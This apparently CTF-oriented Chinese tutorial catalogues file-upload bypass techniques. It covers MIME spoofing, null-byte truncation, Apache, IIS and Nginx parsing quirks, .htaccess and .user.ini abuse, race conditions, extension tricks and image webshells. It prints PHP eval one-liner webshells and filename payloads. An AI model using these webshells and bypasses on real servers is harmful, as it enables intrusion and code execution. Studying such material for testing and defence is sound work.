文件上传漏洞

最近参考了很多文章,结合以前整理的把文件上传的知识重新总结了一下,除了下面列举的这些姿势外(当然,有的还没列举到),比赛中常见的形式就是上传题会结合源码泄露进行分析绕过。

上传时需要注意

  • 服务器类型、后端语言及版本
  • 是黑名单上传还是白名单上传
  • 是否可以获得上传路径、上传的文件是否被改名或被删除、被渲染了

什么是文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令或影响服务端正常工作等能力。

上传的文件发挥其作用需要具备以下几个条件:

(1)上传的文件具备可执行性;

(2)用户可以从Web上访问这个文件,从而使得Web容器解释执行该文件;(就是你可以访问到你上传的这个文件)

(3)上传后的文件必须经过安全检查,不会被格式化、压缩等处理改变其内容;(文件的内容不会被修改)

文件上传-Multipart/form-data

对于普通的HTML Form POST请求,它会在头信息里使用Content-Length注明内容长度。头信息每行一条,空行之后便是Body,即“内容”(entity)。它的Content-Type是application/x-www-form-urlencoded,这意味着消息内容会经过URL编码

最早的HTTP POST是不支持文件上传的;后来Content-Type的类型扩充了multipart/form-data用以支持向服务器发送二进制数据

用burp抓到文件上传的部分信息如下:

Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTUDdEg7S0viQZNs5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://123.206.87.240:8002/web9/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=2691609149; td_cookie=2955167419

------WebKitFormBoundaryTUDdEg7S0viQZNs5
Content-Disposition: form-data; name="file"; filename="caidao.php"
Content-Type: image/png  

<?php @eval($_POST['pass']);?>
------WebKitFormBoundaryTUDdEg7S0viQZNs5
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryTUDdEg7S0viQZNs5--

第一个空行前时HTTP header,后面则是entity,即内容

需要选择一段数据作为“分割边界”(boundary属性),这个“边界数据”不能在内容其他地方出现,每次post浏览器都会生成一个随机的30-40位长度的随机字符串

选择了这个边界之后,浏览器便把它放在Content-Type里面传递给服务器,服务器根据此边界解析数据。下面的数据便根据boundary划分段,每一段便是一项数据。(每个field被分成小部分,而且包含一个value是”form-data”的”Content-Disposition”的头部;一个”name”属性对应field的ID,等等,文件的话包括一个filename)

客户端javascript 检测(通常为检测文件扩展名)

上传时,数据还没有发送出去,浏览器就已经弹出警示框,说明数据还没有发送给服务器,程序就判断出来文件类型不对,因此就可以得出结论这个是通过客户端进行的本地文件检测

这类检测通常在上传页面里含有专门检测文件上传的javascript 代码,最常见的就是检测扩展名是否合法。

绕过方法

1.上传时使用Burpsuite拦截数据包,将木马的扩展名改为原来的php,即可绕过客户端的验证。

2.通过console控制台更改js代码

服务端检测绕过

0x00.php文件上传相关函数及相关配置

$_FILES 参数详解

以下$_FILES["file"]中的file表示表单中设置的name的值

  • $_FILES[“file”][“name”] – 被上传文件的名称
  • $_FILES[“file”][“type”] – 被上传文件的类型,即MIME类型
  • $_FILES[“file”][“size”] – 被上传文件的大小,以字节计;$_FILES[“file”][“size”]/1024 即表示以kb为文件大小单位
  • $_FILES[“file”][“tmp_name”] – 存储在服务器的文件的临时副本的名称;在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),这个临时文件在请求结束后就会被删除,因此上传时需要将临时文件移动到某个文件夹下,文件才能被保存到服务器上;这一特性在其他地方如文件包含或命令执行也可能给会被用到;
  • $_FILES[“file”][“error”] – 由文件上传导致的错误代码
is_uploaded_file()

函数用法:

is_uploaded_file ( string $filename ) : bool

1.is_uploaded_file() 函数检查指定的文件是否是通过 HTTP POST 上传的;
2.如果是POST的话则返回TRUE,否则返回FALSE
3.is_uploaded_file[“file”][“tmp_name”]即检查上传的文件是否是POST方式提交的

move_uploaded_file()

函数用法:

bool move_uploaded_file( string $filename, string $destination): bool

1.该函数将上传的文件移动到新位置;
2.成功移动返回TRUE,移动失败返回FALSE;
3.如果目标文件已经存在,则会被覆盖;
4.目标路径必须存在;如果目标路径不存在,该函数不会去自动创建;该文件夹需要有可写权限

pathinfo()

函数用法:

pathinfo ( string $path [, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME ] ) : mixed

1.该函数返回一个关联数组包含有path的信息;path为要解析的路径;如果指定了options,将会返回指定元素;它们包括:PATHINFO_DIRNAME,PATHINFO_BASENAME 和 PATHINFO_EXTENSION 或 PATHINFO_FILENAME;如果没有指定 options 默认是返回全部的单元。

max_execution_time

php配置中默认的:

max_execution_time = 30

即文件上传最久执行时间为30s,超过30s脚步就停止执行;

可以修改上述配置,也可以直接在脚本中加入下面的函数来设定页面最久执行时间:

set_time_limit(0); //无限制
post_max_size

该配置设定POST数据所允许的最大大小

upload_max_filesize

该配置设定上传文件的最大大小

0x01.服务端MIME类型检测(检测Content-Type 内容)

当用户上传文件到服务器端的时候,服务器端的程序会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不合法。

MIME类型是什么?

在把输出结果传送到浏览器上的时候,浏览器必须启动应用程序来处理这个输出文档。这可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。
在HTTP中,MIME类型被定义在Content-Type header中。

常见的MIME类型:

.html          text/html 
.txt          text/plain 
.gif          image/gif 
.jpg          image/jpeg   
.png          image/png  

绕过方法

设置检测文件的类型,可以通过burpsuite来修改文件的类型进行过滤即可

小技巧:如果允许上传jpg类型的文件,则可以先将木马后缀加上.jpg,上传时抓包,拦截得到的Content-Type为jpg类型,再将.jpg去掉即可。这样就不用去修改Content-Type类型了

0x02.0x00截断

当文件系统读到0x00时,会认为文件名已经结束。

上传路径可控

使用0x00截断需要满足以下条件:

php版本小于5.3.4
php的magic_quotes_gpc为OFF状态

如果文件后缀被白名单限制为.jpg,但上传路径可控:

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

则在路径中,可以使用0x00截断的方法:

POST /Pass-11/index.php?save_path=../upload/yijuhua.php%00 HTTP/1.1

Content-Disposition: form-data; name="upload_file"; filename="yijuhua.jpg"

则上传的文件名会以yijuhua.php形式存放到../upload

如果路径是以$_POST方式传递的,则需要将.替换成0x00,而不是%00,因为POST传递的值不会经URL解码,具体方法:

使用burp,抓到数据后点开hex,将倒数第一个小数点对应的2e改成00即可

move_uploaded_file() (CVE-2015-2348)

漏洞影响版本必须在5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7

如果文件上传代码中有:

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)

那么可用0x00截断的方法:

move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");

这本应该创建一个名为file.php\x00.jpg的文件,但实际上创建的文件是file.php

0x03.Apache文件解析特性

多后缀名

摘自vulhub:

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。


测试环境:windows10,Apache/2.4.23,PHP/5.5.38

在phpstudy网站目录存放一张a.jpg图片,将其改名为a.jpg.abc,再用浏览器去访问这张图片,发现被成功解析为图片:

那么现在在网站目录存放一个ma.php文件,里面内容为:

<?php
echo 'good';
?>

再将其改名为ma.php.abc,访问这个文件:

发现其并没有被解析,而是直接将里面的内容显示了出来,这是因为Apache本身并不懂php,而是将这个文件交给php解释器,php解释器和Apache有着不同的解析规则;

phpStudy\PHPTutorial\Apache\conf\extra找到httpd-php.conf这个配置文件,打开可以看到

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

我们可以知道,只有当文件名后缀为.php时,文件才能被当做php执行,那么现在将其改为:

<FilesMatch "\.php\.">
    SetHandler application/x-httpd-php
</FilesMatch>

重启phpstudy,可以看到ma.php.abc已经可以被解析了:

罕见后缀

在某些情况下,不只是php,就连phtmlphtphp3php4php5都是Apache和php认可的php程序的文件后缀

.htaccess

Apache提供了一种很方便的、可作用于当前目录及其子目录的分布式配置文件:.htaccess

要使.htaccess文件生效,需要在Apache的配置文件中写上(这里我的配置文件中默认就有以下配置):

AllowOverride All

LoadModule rewrite_module modules/mod_rewrite.so

之后,我们测试用.htaccess文件修改php解释器配置:

新建一个.htaccess文件,由于windows不支持文件名以小数点开头,需要用到cmd命令:

echo > .htaccess

这样即可生成.htaccess文件;在这个文件里面写入:

<FilesMatch "xxx">  
    SetHandler application/x-httpd-php  
</FilesMatch>

即让php解释器将文件名中含有xxx的文件解析为php

在此.htaccess目录创建a.xxx文件,在里面写入:

<?php
echo 'good';
?>

发现其被解析成了php:

a.xxx改名为xxx.abc,也是会被解析为php的

0x04.IIS6.0解析特性

IIS6.0属于winserver下的服务器

asp即 active server pages,是microsoft公司开发的服务端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序

1.目录名包含.asp.asa.cer的话,则该目录下的所有文件都将按照asp解析

2.文件名中如果包含.asp;、.asa;、.cer;则优先使用asp解析,如asa.asa;asa.jpg

0x05.Nginx解析特性

1.Nginx版本:

Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37

以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg.php进行请求

2.Nginx版本:

Nginx 0.8.41 – 1.5.6:

以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20.php进行请求

0x06.PHP CGI解析漏洞

版本:

IIS 7.0/7.5
Nginx < 0.8.3

以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析

0x07 .user.ini

不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以使用.user.ini

php.ini是php默认的配置文件,其中包含了很多php的配置,.user.ini实际上就是一个可以由用户自定义的php.ini

测试环境:windows10,PHPStudy php-5.6.27-nts+Nginx

在网站根目录创建一个.user.ini文件(cmd echo > .user.ini),写入:

auto_append_file=test.jpg

之后创建一个test.jpg文件:

1
2
3
4
5
<?php
if(@$_GEET['shell'] == 'test'){
phpinfo();
}
?>

之后,访问正常的php文件:

127.0.0.1/index.php

加上参数:

127.0.0.1/index.php?shell=test

即可看到页面执行了phpinfo

0x08.条件竞争

Web服务器处理多用户请求时,是并发进行的,如果并发处理不当或者是相关的逻辑操作设计的不合理时,就可能导致条件竞争漏洞。

例如:将文件上传到服务器,然后检查上传的文件的类型,如果不符合条件就删除。

但是,如果我们采用多线程的方式访问上传的文件,总有一次我们在文件删除之前就访问到了这个文件,如果这个文件是php的一句话木马,就在服务器中执行了这个木马

具体方法:

使用burp intruder,在payload中选择Null payloads,在下面Generate后输入请求次数,之后点击start attack,即可不断的上传文件

0x09.后缀检测不完全

1.后缀名大小写绕过

如果在与黑名单比较前没有将后缀进行大小写统一的话:

# $file_ext = strtolower($file_ext); //转换为小写

可以通过大小写绕过:

.pHp
.PHP
...
2.在后缀名后加空格

如果在与黑名单比较前没有将文件名首尾去空的话:

# $file_ext = trim($file_ext); //首尾去空

可以通过在文件名后加空格绕过:

filename="yijuhua.php  "
3.后缀名双写绕过

如果是黑名单且过滤机制仅仅是替换一次不合法后缀:

$file_name = str_ireplace($deny_ext,"", $file_name);

可以进行双写绕过:

filename="yijuhua.pphphp"

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

函数用法:

str_ireplace(find,replace,string,count)

find     必需。规定要查找的值。
replace     必需。规定替换 find 中的值的值。
string     必需。规定被搜索的字符串。
count     可选。一个变量,对替换数进行计数。

0x11.Windows解析特性

文件后缀的点

如果服务器是windows系统,且在与黑名单比较前没有将文件后缀的点进行过滤:

# $file_name = deldot($file_name);//删除文件名末尾的点

可以在文件名后加点后再上传:

filename="yijuhua.php."

windows服务器收到这个文件后,会自动忽略掉后面的点

结合0x06,如果过滤机制如下:

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

可以在文件名后加点+空格+点:

filename="yijuhua.php. ."
::$DATA

如果服务器是windows系统,且在与黑名单比较前没有将文件名中的::$DATA去除:

# $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

可以在文件名后加上这个字符串再上传:

filename="yijuhua.php::$DATA"

php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理

0x10.file_put_contents()与file_exists()特性

<?php 
$filename = __DIR__ . '/tmp/' . $_GET['name']; 
$data = $_GET['info']; 
file_put_contents($filename, $data); // ...一些处理 
if (file_exists($filename)) { 
    unlink($filename); 
} 
?>

unlink — 删除文件

bool unlink( string $filename[, resource $context] )
方法一.条件竞争
方法二.函数特性

ph大佬总结的:

查看php源码,其实我们能发现,php读取、写入文件,都会调用php_stream_open_wrapper_ex来打开流,而判断文件存在、重命名、删除文件等操作则无需打开文件流。 我们跟一跟php_stream_open_wrapper_ex就会发现,其实最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。而文件删除等操作则不会,这就是二者的区别。 所以,如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉../等相对路径,所以不会出错;判断、删除的时候因为不会处理,所以就会出现“No such file or directory”的错误。

payload1:

name=xxxxx/../1.php 

(这个方法是仅限Linux,因为Windows的文件操作API也会处理文件路径)

payload2:

name=1.php/.

0x11.上传图片马

cmd生成命令:

copy a.jpg/b+a.php shell.jpg

图片马上传成功后,若服务端存在文件包含漏洞,则(可能)可以被利用

一句话木马格式:

<?php @eval($_POST['cmd']); ?>

如果php版本小于7,还可用以下写法:

<script language=php>@eval($_POST['cmd']);</script>

<acript language=php>system("ls");</script>
文件头检测

在文件首部加上如下16进制数据,后面跟一句话木马即可

JFIF    FF D8 FF E0 00 10 4A 46 49 46
GIF89a  47 49 46 38 39 61
PNG     89 50 4E 47
二次渲染

服务端会获取上传的图片信息,之后会通过这些信息来生成一个新的图片

情形:

详情参考https://xz.aliyun.com/t/2657#toc-13

GIF
直接对比上传前后图像那些部分没有被渲染,在没有被渲染的地方插入木马即可

PNG

JPG
脚本保存为jpg_payload.php,再准备张图片,之后用cmd:

php jpg_payload.php a.jpg

0x12.Boundary

尝试在boundary等号后加空格、使boundary边界不一致等在某些情况下可绕过waf

0x13.imagemagick邂逅getimagesize

直接放上p牛的链接吧(目前难以读懂…):

https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html


参考链接:

https://blog.csdn.net/xiaojianpitt/article/details/6856536

https://xz.aliyun.com/t/2435

http://phpstudy.php.cn/jishu-php-3234.html
https://jingyan.baidu.com/article/3ea5148981f81752e61bba16.html

https://www.cnblogs.com/cyjaysun/p/4390930.html

http://wonderkun.cc/index.html/?p=626
https://xz.aliyun.com/t/2657#toc-1

https://xz.aliyun.com/t/337#toc-1

https://www.jianshu.com/p/aa08d99a98aa